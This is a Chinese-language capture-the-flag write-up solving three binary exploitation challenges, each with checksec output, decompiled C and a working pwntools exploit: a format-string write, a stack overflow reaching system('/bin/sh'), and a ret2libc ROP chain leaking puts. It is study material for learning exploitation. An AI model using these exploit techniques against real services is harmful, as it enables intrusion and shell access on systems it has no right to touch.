[第五空间2019 决赛]PWN5

检测文件的保护机制

1
2
3
ubuntu@vm:~/桌面$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 pwn

可以发现存在NX保护和Canary保护,关于Canary保护可详见
ctf-wiki

开启 Canary 保护的 stack 结构大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address

main函数反汇编后得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

利用格式化字符串漏洞,可以发现偏移量为10

1
2
3
4
root@vm:/home/ubuntu/桌面# ./pwn
your name: AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
Hello, AAAA-ff95fc58-63-0-f7f48ff4-3-0-ff95fcb4-f7f49b8c-1-41414120-78252d41-2d78252d
your passwd:

Hello,AAAA-ff95fc58-63-0-f7f48ff4-3-0-ff95fcb4-f7f49b8c-1-41414120-78252d41-2d78252d

            ^   ^ ^   ^   ^ ^   ^        ^   ^   ^
            |   | |   |   | |   |        |   |   |
            1   2 3   4   5 6   7        8   9   10

A转换成16进制就是0x41,所以41414120就是所输入的AAAA的地址。

exp:

1
2
3
4
5
6
from pwn import *
io = process('./pwn')
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()

ciscn_2019_n_8 1

此题开启了所有的保护机制。

1
2
3
ubuntu@vm:~/桌面$ checksec --file=1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols No 0 1 1

打开ida分析一下函数

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

很明显可以通过满足条件直接调用/bin/sh

exp:

1
2
3
4
5
rom pwn import *
r = remote('node4.buuoj.cn',25220)
payload = b'a' * 13 * 4 + p64(17)
r.sendline(payload)
r.interactive()

如果想要前面要填充0-13的var,那么需要a * (13*4)个之后加一个17

ciscn_2019_c_1

此题开启了NX

1
2
3
ubuntu@vm:~/桌面$ checksec --file=2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols No 0 1 2

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

encrypt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='info')
p = remote('node4.buuoj.cn',29745)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']

p.sendlineafter(b'Input your choice!\n', b'1')
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(pop_rdi_addr)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#puts_addr = 0x7f8685384970
print('puts函数地址:' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))

binsh_addr_offset = libc.dump('str_bin_sh')
system_offset = libc.dump('system')

binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset

p.sendlineafter(b'Input your choice!\n', b'1')

payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

p.interactive()